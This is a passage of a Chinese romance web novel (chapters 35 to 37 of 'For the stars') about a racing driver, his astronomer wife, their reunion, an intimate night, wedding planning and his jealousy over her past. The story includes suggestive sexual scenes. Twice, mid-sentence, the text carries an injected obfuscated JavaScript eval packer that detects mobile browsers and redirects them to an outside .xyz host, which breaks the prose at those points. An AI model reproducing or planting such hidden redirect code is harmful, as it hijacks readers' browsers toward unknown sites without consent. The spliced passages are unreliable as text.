温木能想象他揉着额头的模样,黑发乱糟糟地支棱着,像只被惹毛的大型犬。 很傻,但也,很可爱。 “宋!要开始了!”背景音里Alex的声音由远及近。 “知道了。”宋星燃不耐烦地应了声,又压低声音对温木说,“我要挂了。” “嗯。” “温木。” “怎么了?” “我想你了。” 有什么东西,直直坠入她心底。 温木握紧手机,突然希望此刻能穿越电波,触碰到四千公里外的那个人。 “宋星燃。”她深吸一口气,“赢下这场比赛。” “遵命,老婆大人。”男人的声音重新变得明亮,带着熟悉的张扬,“等着收我的冠军当生日礼物吧。” 通话结束的提示音响起,温木仍保持着举手机的姿势。 夜空彻底恢复了寂静,只有远处写字楼的灯光如星辰般闪烁。她摸了摸自己的脸颊,触到一片温热。 温木打开电视,调到体育频道。 直播画面里,各车队正在做最后的准备。她一眼就看到了宋星燃的5号赛车,银黑相间的涂装在灯光下闪闪发光。镜头切到驾驶舱,男人正在调整头盔。 似乎是感应到什么,他突然抬头看向镜头,嘴角勾起一抹笑,然后用手指在胸口画了颗爱心。 那一刻,温木不知道哪来的自信,她觉得,这个动作是给她的。 解说员的声音传来:“看来宋今天状态非常好,刚才还对镜头比了个爱心,不知道是给谁的?” “还能给谁,”另一个解说员笑道,“肯定是给他太太啊。” 温木的脸微微发热。她蜷缩在沙发上,抱着膝盖,眼睛一瞬不瞬地盯着屏幕。 五盏红灯依次亮起,随后同时熄灭,二十辆赛车如离弦之箭般冲出起跑线。5号赛车在第一个弯道就完成了超越,从第五位跃升至第三。 温木不自觉地攥紧了抱枕,心跳随着引擎的轰鸣加速。 “漂亮的超车!”解说员激动地喊道,“宋今天开得非常激进,看来是铁了心要拿这个冠军送给太太当礼物了!” 银黑相间的赛车在赛道上飞驰,每一次过弯都精准得令人惊叹,每一次超车都干净利落。 比赛进行到第30圈时,宋星燃已经牢牢占据首位。最后一圈,他以绝对优势冲过终点线,黑白格子旗挥舞,全场观众起立欢呼。 镜头对准了从赛车中出来的宋星燃。他摘下头盔,黑发被汗水浸湿,随意地向后捋去。接过工作人员递来的国旗披在肩上,随即,对着镜头说了一句话。 虽然没有声音,但温木清晰地读出了他的唇形: “生日快乐,老婆。” 有什么东西悄然融化。 29岁的第一天,似乎和想象中不太一样。 * 冬日的黄昏来得早,天色已经染上一层橘粉,像是被水彩晕开的温柔色调。温木站在实验台前,慢条斯理地收拾着数据记录本,指尖轻轻抚平纸张边缘的褶皱。 “阿木,你家少爷是不是明天回来?”于茉靠在桌边,手里转着一支笔,笑眯眯地问。 温木垂眸,唇角微微扬起一点弧度,点了点头:“嗯。明天一早。” “完咯——”于茉夸张地叹气,故意拖长音调,“明天又要一人干两人的活了。” 温木轻笑,将最后一本资料放进包里,抬眼看她:“辛苦茉茉了。” 于茉挑眉,眼里闪着促狭的光:“能让你三番两次丢下研究,这个宋三少,果然不简单。” 温木整理着大衣袖口,语气淡淡的,像是在陈述一个再普通不过的事实:“哪有什么不简单,只是作为一个妻子,应该的。” “哈。”于茉笑出声,伸手戳了戳她的肩膀,“你说这话你自己信吗?” 温木抬眸:“信啊。” 两人对视一秒,同时笑出声。于茉挽住她的手臂,亲昵地蹭了蹭她的肩膀:“走啦走啦,饿死了,今晚吃日料还是火锅?” 温木被她拉着往外走,顺手将实验室的灯关上。 夕阳的光透过走廊的玻璃窗洒进来,将两人的影子拉得很长。 温木今天穿了一件卡其色的羊毛大衣,内搭米色高领毛衣,衬得肤色如雪,乌黑的长发垂落在肩头,发尾微微卷曲,整个人透着一种沉静又温柔的美。 于茉还在絮絮叨叨地纠结着晚餐的选择,温木只是听着,偶尔应一声,唇边始终带着浅淡的笑意。 “阿木!”于茉突然晃了晃她的胳膊,声音压低了,却掩不住兴奋,“你快看!那是不是你家少爷?!” 温木一怔,下意识顺着她的视线望去。 校门外,橙色的柯尼塞格静静停靠在路边,车身在黄昏的光线下泛着金属质感的流光。 一个高挑的身影懒散地倚着车门,手里抱着一大束白色满天星,花束松散又浪漫,像是捧了一捧碎星。 是宋星燃。 男人穿着黑色短款棉袄,内搭深灰色连帽卫衣,领口微敞,露出一截冷白的锁骨。又潮又痞,站在那儿就是一道惹眼的风景线。 温木愣在原地,心跳蓦地漏了一拍。 他不是明早才到吗? 他不是应该在阿布扎比领奖吗? 可那分明就是他——黑发被风吹得微乱,眉骨上的那道疤在夕阳下泛着淡淡的粉,唇角勾着散漫的笑,正一瞬不瞬地望着她。 于茉已经憋不住笑,偷偷松开了她的手臂,小声说了句“我先溜了”,然后飞快地跑开,临走前还不忘冲温木眨眨眼。 温木没动,只是站在原地,隔着窄窄的校门,和他对视。 冬日的黄昏里,空气微凉,呼出的白气在眼前短暂地凝结又消散。远处的梧桐树只剩下枯枝,在风里轻轻摇晃,而他就站在那儿,像是从她梦里走出来的一样。 她终于迈开脚步,一步步往前走。 宋星燃没动,只是看着她走近,眼底的笑意越来越深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344294|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着几分得意,又藏着几分期待,像个等待夸奖的大型犬。 温木走出校门,站在马路对面,和他隔着几步的距离相望。 夕阳的光落在他的发梢,镀上一层金边。 怀里的满天星被风吹得轻轻晃动,像是真的星星落在了他掌心。 她看着他,忽然轻轻笑了。 摘下眼镜,张开双臂,声音柔软又笃定: “不过来抱我吗?” 男人几乎是瞬间冲了过来。 他跑得很快,风卷起他的衣摆,带起一阵凛冽的雪松气息,混着满天星清淡的花香,扑面而来。温木还没反应过来,就被他一把搂进怀里,力道大得她几乎踉跄了一下,额头撞上他的肩膀。 他的胸膛很暖,心跳声透过衣料传来,又快又重。温木的脸贴在他的棉袄上,呼吸间全是他的味道。干净的洗衣液香气,还有一点赛车场特有的机油和橡胶的气息。 他抱得很紧,手臂箍着她的腰,像是要把她揉进骨血里。温木甚至能感觉到他指节微微发颤,像是压抑了太久的情绪终于找到了宣泄口。 周围有学生驻足,窃窃私语和轻笑声隐约传来。 温木耳尖发烫,原本抬起想要回抱他的手顿了顿,又慢慢放了下来。 不知道被抱了多久,她闷闷地开口:“要憋死了。” 男人立刻松开她,双手捧着她的脸,像检查布娃娃似的把她左转右转,眉头皱得紧紧的:“现在呢?还有不舒服吗?” 温木被他晃得头晕,扶住他的手腕:“停一下,停一下。” “哦。”他乖乖停下,却还是盯着她看,目光灼灼的,像是要把她盯出个洞来。 温木深吸一口气,抬手推了推眼镜,目光落在他怀里的花上:“不回家吗?” 宋星燃这才想起什么似的,把花往她怀里一塞。 那是一大束白色满天星,蓬松柔软,像是捧了一团云。细碎的小花簇拥在一起,在夕阳下泛着珍珠般的光泽,花枝用深蓝色的丝带系着,打了个精致的结。 温木低头,深深嗅了一口,清淡的香气萦绕在鼻尖,像是夏夜的星空。 “好看吗?”宋星燃问。 温木点头:“你怎么知道我喜欢满天星?” 他挑眉,笑得张扬:“我就是知道。” 温木抱着花,转身往车的方向走。身后却迟迟没有脚步声跟上来,她回头,发尾在风中轻轻扬起,镜片后的眼睛微微弯起,像是盛了一汪清泉。 黄昏的光落在她身上,卡其色的大衣衬得她肤色如雪,怀里抱着那束白色的花,清冷又温柔。 男人痴痴地望着,心脏像是被什么东西狠狠撞了一下,又酸又胀,满得快要溢出来。 那一秒,风声停驻,心跳成了唯一的回响。 他听见她说: “跟上。” 他醒神,两步追上去,一把搂住她的肩膀,力道没控制好,人被撞得一个踉跄,眼镜差点飞出去。 “我不是故意的。”他赶紧扶住她,语气无辜。 温木稳住身形,扶好眼镜,抬眸仔细打量他。他好像瘦了,下颌线更加分明,眼下还有淡淡的青黑,显然是没休息好。 她伸手,指尖轻轻碰了碰他的眉骨:“回家吧,饿了。” 男人笑起来,眼睛亮晶晶的,转身跑去给她开车门,动作殷勤得不像话。 温木睨了他一眼,叹了口气,坐进车里。 无事献殷勤,非奸即盗。 她揉了揉自己的腰,默默祈祷它今晚平安无事。 宋星燃坐进驾驶座,启动车子。 引擎声低沉悦耳,温木环顾四周,内饰是哑光黑的真皮,中控台闪着冷蓝色的光,低调又奢华。 “又换车了?”她问。 “嗯。”宋星燃单手搭着方向盘,侧头看她,“为了接你特地买的。” 温木:“……” 人傻钱多。 “上次送你的车,开了吗?”他问。 温木摇头:“就带着茉茉去兜了一圈,然后停家里车库了。” 宋星燃皱眉:“为什么不开?” “我习惯坐公交了。”她顿了顿,“而且,那车太张扬了。” “张扬不行吗?” “不是不行,是不太好。” 宋星燃嗤笑一声:“温老师,我发现你这人有时候真是轴得很。” 温木瞥他:“嗯?” “我问你,那车不喜欢吗?” “喜欢。” “那车,是你偷来抢来的吗?” “不是。” “那凭什么不开?”他语气认真,目光直视前方,侧脸线条在暮色中格外锋利,“自己喜欢的东西,就要大大方方展示出来,管别人说什么。” 温木怔了怔,转头看他。 宋星燃的价值观一向如此直白又热烈,喜欢就是喜欢,讨厌就是讨厌,从不在意别人的眼光。 她忽然想起他在领奖台上嚣张的笑,想起他对着全世界说“我老婆来看我比赛了”,想起他固执地为她定制那场行星烟花…… 他活得这样坦荡而恣意,像一团永不熄灭的火。 “嗯,知道了。”她轻声说。 宋星燃勾唇,踩下油门。 车子驶出校园,温木望着窗外飞速倒退的景色,忽然问:“回哪儿啊?” 宋星燃:“星河湾。” 温木:“不去见爸妈吗?” 宋星燃转头看她,目光深邃,唇角勾起一抹痞笑:“见他们干什么?我最想见的——” 他顿了顿,嗓音压低,“是你。” 心跳漏了一拍,温木下意识转头看向窗外。 下一秒,她的下巴被人捏住,轻轻转回来。男人的唇压上来,温热又柔软,浅浅地厮磨。 呼吸拂过她的脸颊,带着淡淡的薄荷糖香气,吻得温柔又克制。 温木看着那双漂亮的眼睛,像是被吸进去似的,悄悄伸出舌尖,在他唇上轻轻舔了一下。 男人瞳孔骤缩,呼吸瞬间粗重。 她如愿看到他表情的变化,眼底漾开一丝笑意:“宋少爷能坚持到回家吗?” 宋星燃盯着她,眸色暗沉,低笑一声:“温老师能坚持到明早吗?” 36. For the stars 温木的背刚贴上玄关的墙壁,宋星燃就压了过来。 他吻得很急,呼吸灼热,手掌扣着她的后颈,迫使她仰起头。温木踮着脚,却还是够不到他的高度,只能被他单手搂着腰提起来,脚尖堪堪点地。 他的唇又热又软,带着薄荷糖的甜味,舌尖撬开她的齿关,长驱直入,像是要把她肺里的空气都攫取干净。 温木被亲得晕乎乎的,手指无意识地揪住他的衣领。 她不明白宋星燃为什么这么热衷于接吻。 不就是两片软肉吗?非要撕扯摩擦那么多遍,像是要把她的灵魂都吸出来似的。 男人察觉到她的走神,惩罚似的在她下唇咬了一口。 “嘶——”温木吃痛,猛地回神,就看见他微微退开一点,不爽地盯着她:“你在走神。” “没有。”她下意识反驳。 “嘴硬。” 他嗤笑一声,又低头吻上来,这次更凶,一手掐着她的腰,一手去解她的大衣扣子。可那扣子像是故意和他作对,怎么都解不开。 他一着急,吻得更用力了,像是要把她整个人都吞下去。 温木一边应付他的吻,一边摸索着去找他的手,然后,帮他解开了第一颗扣子。 后知后觉自己的行为有多荒谬。 大衣落地,接着是贴身的米色毛衣,最后是朴素的纯棉文胸。 宋星燃的唇从她嘴角滑到颈侧,又热又痒,温木按住他作乱的脑袋,声音有些颤:“洗澡。” 那双眸子湿漉漉的,清冷的表象被情欲撕开一道裂缝,露出内里的柔软。 宋星燃盯着人看了两秒,忽然一把将她抱起来:“一起洗。” * 温木醒来,盯着天花板发了很久的呆。 腰像是被重型卡车碾过,又酸又胀,连翻个身都困难。记忆断断续续地回笼:浴室里蒸腾水汽,镜面上模糊的手印,她被按在瓷砖墙上,是冰凉的触感,还有后来…… 她猛地闭了闭眼,伸手摸向自己的腰,恶狠狠地锤了一下床:“混蛋。” “我是混蛋,那你是什么?混蛋老婆?” 门口传来带笑的声音,温木转头看去,男人正倚在门框上,神清气爽,精神抖擞,像是刚充完电的机器人。 他穿着宽松的黑色T恤,领口露出一截锁骨,黑发乱糟糟地支棱着,看起来比平时多了几分少年气。 温木在心里翻了个白眼。 敢情这小子不是没有压力,而是都攒着,全搁她身上发泄了。 宋星燃走到床边,目光落在她身上。女人的头发凌乱地散在枕头上,眼睛还带着睡意,眼尾泛着淡淡的红,嘴唇微微肿着,整个人透着一股被欺负狠了的倦懒。 他真的爱死她这副样子了。 清冷的外壳被剥开,露出内里的柔软和脆弱,像是冰川下的火山,只有他能看见喷发时的绚烂。 宋星燃掀开被子躺进去,从被窝里摸索到那双微凉的手,牵出来,放在掌心把玩。 温木的手很漂亮,纤细修长,指甲剪得短而整齐,指尖圆润,像是精心打磨过的玉石。明明那么纤瘦,揉起来却像没有骨头似的,软得不可思议。 他恍惚想起昨晚这双手是怎么动作的。 他的感觉没有错,这双手真的很适合用来握住什么东西。 “还有不舒服吗?”他问。 温木没理他,一点点缓着呼吸。 宋星燃也不介意,牵着她的手到嘴边,一点一点亲她的指尖。 专注而虔诚。 温木抬起眼皮看他:“舒服吗?” 男人愣了一下,随即意识到她在问什么,喉结滚动:“舒服。” 他凑过去,鼻尖蹭了蹭她的脸颊:“温老师下次还这样奖励我,好不好?” 温木:“看我心情。” 宋星燃低笑,胸腔震动:“那我肯定好好给温老师服务。让你高兴得不能再高兴了。” 温木浅浅瞪他一眼。 他给她服务?他看起来比她还爽。 两人就这样静静地躺着。温木半阖着眼皮休息,宋星燃一边揉她的手,一边盯着她看,目光灼热得像是要在她脸上烧出个洞来。 过了好久,温木感觉意识清明了一点,才开口:“几点了?” 宋星燃:“下午四点。” 是不是又破纪录了。 男人似是看出她的心思,语气无辜:“就比上回多了一次。” 温木:“……” 这是光看次数的问题吗?这还有时间的问题好不好! “还想睡吗?”他问。 “有事?” “爸妈订好位子了,今晚咱们一家人一起吃饭。” 温木叹了口气:“再躺一会儿。” “好。” 宋星燃应着,一双手却摸上了她的腰。 温木下意识躲:“别。” “我不弄,”他声音放轻,“我帮你揉揉。” 温木没再说话。 男人的手掌温热,力道适中,顺着她的腰线一点点按揉,指尖偶尔划过脊椎,带起一阵细微的颤栗。温木闭着眼,感受着他的动作,酸胀的肌肉在他的抚慰下慢慢放松。 昨晚他用手搂着她的腰,才堪堪让她稳住。人没倒下去,腰倒是折了大半。 他皱了皱眉:“怎么又细了?没好好吃饭吗?” 不仅是腰,那儿也小了些。 温木无精打采地反问:“你不喜欢吗?” 宋星燃被问住。 他能怎么说?确实喜欢。但她之前的样子,他也喜欢。 “喜欢。”他低头亲了亲她的发顶,“你怎么样我都喜欢。” 两人不再说话。宋星燃一边看着她,一边细致地给她揉腰,目光温柔得不像话。 阳光透过窗帘的缝隙洒进来,在地板上投下一道金色的线。房间里安静得只剩下两人的呼吸声,和手掌摩挲过肌肤的细微声响。 温木在他的揉捏下昏昏欲睡。 恍惚间,她想,这大概就是结婚后最真实的模样。 有疯狂,有温存,有他不知疲倦的索取,也有此刻小心翼翼的呵护。 她好像,并不讨厌这样。 * 温木是被宋星燃牵着跌跌撞撞上车的。 她浑身酸软,脚步虚浮,像是踩在棉花上,整个人还沉浸在那种被过度消耗后的放空状态里。宋星燃倒是精神抖擞,一手稳稳扶着她,一手替她拉开车门,动作轻柔得像是怕碰碎什么易碎品。 温木瘫在副驾驶座上,目光涣散地盯着窗外飞速倒退的街景。 她就说吧,做那种事是不自由的。 做完只想在床上躺一整天,哪儿都不想去。 可宋星燃显然不这么想。 他一边开车,一边时不时侧头看她,目光灼热,像是要把她盯出个洞来。 温木懒得理他,干脆闭上眼睛假寐,可脑海里却不由自主地浮现出那些旖旎的画面。 她猛地睁开眼,深吸一口气,恶狠狠地瞪向始作俑者。 宋星燃察觉到她的视线,唇角勾起一抹痞笑:“怎么了,温老师?” 温木没说话,只是默默把脸转向窗外。 车子最终停在一家五星级酒店门口。 经理早已候在门外,见他们下车,立刻迎上来,笑容恭敬:“宋先生,温小姐,这边请。” 温木被宋星燃牵着,一路穿过金碧辉煌的大堂,乘电梯直达顶层。她的脑子还昏昏沉沉的,直到经理为他们推开包厢的门—— “Surprise!” 温木瞬间清醒了。 包厢里,两家人整整齐齐地坐了一圈。所有人的目光齐刷刷地落在她和宋星燃身上,尤其是——他们十指相扣的手。 温木下意识想把手抽回来,可宋星燃握得更紧了,指节微微发白,像是生怕她跑了似的。 “爸妈,我们来了。”宋星燃笑着打招呼,语气自然得仿佛他们只是迟到了一小会儿。 沈岁笑眯眯地打趣:“哎哟,小两口感情真好。” 秦忆也笑:“阿燃会照顾人,枝枝在他旁边看着跟妹妹似的。” 温木:“……” 妹妹?!有没有搞错,她再怎么样气质也不一样吧?不比宋星燃那个毛头小子一看就成熟多了? 她忍不住瞥了宋星燃一眼,后者正得意地冲她挑眉,一副“看吧,我就说我比你成熟”的表情。 温木默默翻了个白眼。 宋星燃牵着她入座,沈岁关切地问:“阿木看起来脸色不太好,是不是起早去接阿燃累着了?” “咳咳咳——”宋铭栎突然剧烈咳嗽起来,像是被水呛到了。 沈岁皱眉:“这孩子,喝个水都能把自己呛到。” 宋铭栎擦了擦嘴角,礼貌微笑:“抱歉。” 然后和宋星燃对上眼神,后者眼神警告。 宋铭栎想起自己被迫给弟弟改机票还被威胁不许告诉爸妈和大哥的经历,暗暗决定今晚必须宰他一笔。 温木当然不好意思说是因胡闹了一整夜,只是含糊道:“可能是吧,最近有点累。” 菜很快上齐,大家举杯庆祝。 “来,为我们两家的喜事干杯!”宋明深笑着提议。 众人碰杯,温木抿了一口红酒,甜涩的液体滑过喉咙,总算让她彻底清醒过来。 话题自然地转向了婚礼的筹备。 “阿木,你有什么想法吗?”沈岁温柔地问,“想在哪儿办?办什么样的?规模多大?” 温木愣了一下。 她其实没怎么认真思考过这个问题。联姻之初,她只把这当作一场交易,婚礼对她而言不过是走个过场。可此刻,看着两家人期待的目光,她忽然意识到——这场婚礼,似乎比她想象的要重要得多。 “我……”她犹豫了一下,“大家方便就好。” 宋星燃突然捏了捏她的手。 温木转头看他,男人深邃的眸子一瞬不瞬地盯着她,唇角带着淡淡的笑意,却透着不容拒绝的认真。 “怎么想就怎么说。”他低声道,拇指轻轻摩挲她的手背,“你是新娘。” 他的声音很轻,却像是带着某种魔力,让温木的心跳漏了一拍。 包厢的灯光落在他侧脸上,勾勒出锋利的轮廓,可眼神却柔软得不可思议,像是盛满了星光。 温木深吸一口气,放下了顾虑。 “我想去一个能看极光的地方。”她轻声说,“规模不想要太大,我确实不擅长跟人打交道,怕给爸妈添麻烦。西式的就好,简单一点。” 她顿了顿,又补充道:“敬酒的时候,我想穿旗袍。” 秦忆眼睛一亮:“就是我们给你挑的那件?” 温木点头。 沈岁笑着拍手:“极光好啊!浪漫!阿燃小时候就说,以后要带喜欢的人去看极光。” 宋星燃耳尖微红,轻咳一声:“妈!” 温木诧异地看他,没想到他还有这种浪漫的执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351253|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念。 接讨论变得热烈起来。两家人你一言我一语,从婚礼场地到宾客名单,从婚纱款式到蜜月行程,事无巨细。 温木一一回答,而宋星燃始终坐在她身边,认真地听着,时不时插一句“她喜欢这个”“她不习惯那样”,细致得仿佛早已将她的喜好刻进了骨子里。 最后,当所有细节都敲定时,温木长舒一口气,端起面前的可乐一饮而尽。 宋星燃侧头看她,忽然痞痞地笑了:“温老师,紧张?” 温木推了推眼镜,淡定道:“没有。” “哦?”他凑近,呼吸拂过她的耳廓,“那为什么耳朵红了?” 温木:“……” * 于茉咬着奶茶吸管,含糊不清地问:“你选婚纱老公不陪你?不合格!” 温木平静地翻着手中的婚纱杂志,指尖轻轻点在一款深蓝色星空裙摆的设计上:“临时有事。好像是公司的事吧,我也不太清楚。” “他不是不继承家业?”于茉挑眉。 “不知道。”温木合上杂志,淡淡地补了一句,“虽然他既不继承都一样有钱。” 她把婚礼的大致安排跟于茉说了——极光、小型私密仪式、西式流程。 于茉听得眼睛发亮,连连点头:“好好好好,这婚礼我喜欢!浪漫又不俗套,不愧是搞天文的!” 温木笑了一下:“我给你家小宁也留了位子。” 于茉的脸色瞬间变了变,奶茶吸管被她咬得扁扁的:“你给他留位子干嘛?” “吵架了?” “分手了。” 温木皱眉。 于茉摆摆手,故作轻松地笑:“哎呀没多大事儿,不就是分手吗?我堂堂博士,又漂亮又有钱,男人不是一抓一大把。” 温木没接话。 她太了解于茉了。从平日里那些看似随意的聊天里,她早就察觉到,宁远西对于茉来说,是不一样的。 但于茉不想说,她就不会追问。朋友之间,有些伤口需要自己愈合。 车子在VeraWang婚纱店门前停下。 纯白色的建筑,巨大的落地窗透出里面水晶灯折射的碎光,门口铺着深蓝色的地毯,像是夜幕降临前最后一刻的天色。 温木站在门前,忽然有种不真实感——她居然真的要穿婚纱了。 店门被推开,一股淡淡的鸢尾花香扑面而来。整个空间以象牙白和香槟金为主色调,水晶吊灯从挑高的天花板垂落,照亮陈列在中央的几件高定婚纱。每一件都像是被星光吻过的艺术品,蕾丝、薄纱、珍珠,在灯光下泛着细腻的光泽。 一位穿着米色套装的女经理迎上来,笑容得体:“请问是温小姐和于小姐吗?” 她们点头。 “宋先生已经打过电话了。两位这边请。” 经理领着她们穿过主展厅,推开一扇雕花玻璃门。里面的空间更私密,沙发上坐着一位混血女孩,正低头翻看设计稿。听到动静,她抬起头—— 于茉倒吸一口冷气,下意识看向温木。 温木也怔住了。 女孩约莫二十二三岁,黑发微卷,眼睛是浅褐色的,鼻梁高挺,唇角有一颗小小的痣。 女孩站起身,微笑着伸出手:“你们好,我是明樱,负责温小姐的婚纱设计。” 明樱。 温木的指尖几不可察地颤了一下,但很快恢复平静。 她微微颔首:“你好。” 经理在一旁默默倒了茶水,目光在三人之间微妙地游移。 明樱摸了摸自己的脸,有些疑惑:“我脸上有东西吗?” “抱歉。”温木声音很轻,“你长得有点像我认识的一个人。” 明樱笑起来,眼睛弯成月牙:“真的吗?那看来我们很有缘分。请坐。” 接下来的两个小时里,明樱专业又耐心地跟温木沟通婚纱的设计。 温木喜欢深蓝色,想要星空元素,裙摆要做出星云流动的感觉,但整体剪裁必须简洁优雅。明樱一边听一边快速画草图,偶尔提出建议,两人的交流出奇地顺畅。 “这里可以用银线刺绣,模拟恒星的光晕。”明樱指着裙摆的位置,“领口可以做成不对称的,像被引力扭曲的星轨。” 温木点头:“很专业。” 明樱俏皮地眨眨眼:“我哥哥是天文爱好者,从小耳濡目染。” 温木喝水的动作顿住,又很快继续。 离开前,她们交换了联系方式。明樱送她们到门口,笑容灿烂:“期待下次见面,温小姐。” 走出婚纱店,于茉终于憋不住了:“不会那么巧吧?” 温木拉开车门,语气平静:“不知道。” “如果真的那么巧呢?” “那也不会怎样。” * 宋氏集团总部,顶层会议室。 宋星燃靠在椅背上,心不在焉地听着父亲和几位股东讨论季度财报。 手机屏幕亮起,拿起来一看: 【宋先生,太太和于小姐已经回去了。】 他刚要锁屏,又一条消息跳出来: 【有一个情况,不知道当不当说。】 宋星燃皱眉,直接拨了电话过去。 “说。” 经理压低声音:“宋先生,太太今天来,见到了那位婚纱设计师,盯着她看了很久。” “还说——” “说什么。” “那位设计师长得很像她认识的一个人。” 37. For the stars 宋星燃攥紧了手机。 他原本只是想让经理留意温木对婚纱的真实想法,怕她迁就,怕她勉强,怕她为了顾及两家的面子而委屈自己。 可他没想到,会得到这样的消息。 “男的女的?”他声音压得极低,指节因用力而泛白。 电话那头,经理谨慎地回答:“是一位年轻的女设计师,第一次与我们合作。” “资料发过来。” “好的宋先生。” 电话挂断,不到半分钟,一封邮件弹出。 宋星燃点开,目光如刀锋般扫过屏幕:明樱,22岁,中英混血,毕业于伦敦中央圣马丁学院…… 他的视线在“家庭成员“那一栏骤然停住。 明杨,25岁,苏黎世大学天体物理学在读。 关系:哥哥。 男人的眼神沉下。 不需要更多证据,他的直觉已经叫嚣着断定——这就是温木说的那个人。 而且,他们之间一定发生过什么。 胸口突然涌上一股陌生的情绪,像是有人在他心脏上浇了一桶滚烫的岩浆,灼烧感顺着血管蔓延至四肢百骸。 好奇、愤怒、嫉妒。 他迫切地想知道那个明杨是谁,想知道他们之间发生过什么,想知道他的老婆盯着明樱看时,脑海里浮现的是怎样的画面。 “阿燃,你在听吗?” 宋明深的声音将他拉回现实。宋星燃抬头,发现会议室里所有人都看着他。 他收敛神色,嗓音平稳:“抱歉,我在听。” 宋明深点点头,继续对几位股东说道:“阿燃初出茅庐,什么都不懂,以后还要各位多提点他。” 股东们笑着应和,气氛重新热络起来。 宋星燃坐在原位,神色如常,可目光却不由自主地转向落地窗外。 宁川的天际线在暮色中铺展开来,玻璃幕墙映出他冷峻的侧脸。那双总是盛满张扬笑意的眼睛,此刻暗沉如夜。 * 暮色四合,前院的玫瑰在寒风中轻轻摇曳。 温木坐在花园的藤椅上,圆形矮几上放着一杯早已凉透的茶。她盯着茶杯边缘凝结的水珠出神,指尖无意识地摩挲着杯壁,金丝眼镜后的眸子雾蒙蒙的,像是蒙了一层霜。 一阵冷风掠过,她打了个寒战,余光忽然瞥见一抹修长的黑影。 宋星燃站在不远处,一袭黑色大衣衬得肩线凌厉,黑发被风吹得微乱。他不知在那里站了多久,目光沉沉地望着她,眉宇间凝着一层化不开的郁色。 温木怔了怔。 他回来了,怎么不回家? 他一直在看她吗? 男人察觉到她的视线,大步走来,不由分说地将她打横抱起。温木下意识攀住他的肩膀,鼻尖撞上他微凉的衣领,嗅到一丝淡淡的雪松气息,混着未散的寒意。 他的表情不太好看,下颌线绷得紧紧的,眸色比夜色还沉。 温木察觉到他的低气压,便没出声,任由他抱着自己进屋。 “不在家里跑出去干什么?”宋星燃将她放在沙发上,声音压得很低,“冻生病了怎么办?” “就待了一会。”温木下意识回答,随即意识到,如果他看了她很久,就会知道她在撒谎。 宋星燃没拆穿她,只是从背后环住她的腰,下巴搁在她肩头:“今天婚纱选得怎么样?” “定下来了。” “什么样的?” 温木简单描述了一下设计,星空元素,深蓝色裙摆,银线刺绣。 宋星燃安静地听着,呼吸拂过她的耳畔,温热又潮湿。 “设计师好相处吗?”他突然问。 怀里的人明显僵了一下,很快又放松:“挺好相处的,是个小妹妹。” “你好像挺喜欢她。” 温木点头,又摇头:“还好吧。妹妹很可爱。让我……” 她的声音低下去,“让我想到了年轻的时候。” 年轻的时候。 她是想到了年轻时的自己,还是年轻时的她和某个人? 胸口那股无名火又烧了起来,他一把将人搂过来,狠狠吻住她的唇。 温木被他亲得措手不及,眼镜歪到一边,含糊不清地抗议:“眼镜,挡到了……” 男人停下来,指尖扶正她的镜框:“怎么不做近视手术?不是才三百度吗?” 温木垂眸,语气平静:“习惯了。” 他盯着她看了几秒,突然转移话题:“婚礼时间定下来了,明年2月22日。” “嗯。”她应了一声,又想起什么,“不会耽误你比赛吗?” 宋星燃摇头:“不会,我都安排好了。” 温木微微一笑:“小宋少爷也会安排事情了?” “我不小。” 他握住她的手,目光灼灼。 “温木,我很清楚自己要什么。” 他的眼神太过具有侵略性,温木微微怔住。今天的宋星燃怪怪的,像是憋着一股劲无处发泄。 她猜测他或许在公司挨了批评。虽然总听说他从小被鞭策长大,但她还没亲眼见过。 她竟有点想看他挨骂的样子。 “笑什么?”宋星燃眯起眼。 “我笑了吗?” “你笑了。” “那可能……”她轻声道,“我想到高兴的事。” 男人没说话,只是静静地看着她。 良久。 “下个月,我爷爷奶奶回来。” 温木有些惊讶:“我们要去看他们吗?” “准确来说,是他们来看你。”宋星燃捏了捏她的手指,“之前我们领证,他们在澳洲没回来。这次办婚礼,肯定要见面的。” “其实不用麻烦爷爷奶奶。”温木斟酌着措辞,“婚礼简单走个流程就好。” “温木。” 他沉声喊她。 “你是不是觉得这场婚礼可有可无?” 他的语气有些尖锐,温木一时不知如何回答。 她不是不重视,只是习惯性地怕给别人添麻烦,可宋星燃显然误解了她的意思。 接下来的对话像一场无声的拉锯。 他步步紧逼,想从她那里得到一点重视这场婚礼的证明;而她不明就里,只能反复强调“不用太麻烦”。 最终,宋星燃一把将她抱起来,上楼,放到床上,自己转身进了浴室。 水声哗哗作响,男人站在花洒下,任由热水冲刷身体。 一个女人不在意婚礼,不在意家庭的认可,只有一个原因——她也不在乎要跟她结婚的那个人。 这个念头像毒蛇一样缠住他的心脏。 他想起温木盯着明樱出神的样子,想起她说“年轻的时候”时恍惚的眼神,想起她宁可冻着也不愿回屋的疏离。 热水烫得皮肤发红,他却感觉不到疼。 宋星燃走出浴室,温木还没睡,正靠在床头看书。他掀开被子躺进去,不由分说地将人捞进怀里。 “汽油还没接回来。”温木突然说。 宋星燃心头一刺。 他以为洗了这么久的澡,出来后会听到她问“怎么了”“不开心吗”。就像从前那样,她偶尔也会哄他,逗他,用那双清冷的眼睛含着笑看他。 但她没有。 她不是不会察言观色的人,只是对他没那么上心罢了。 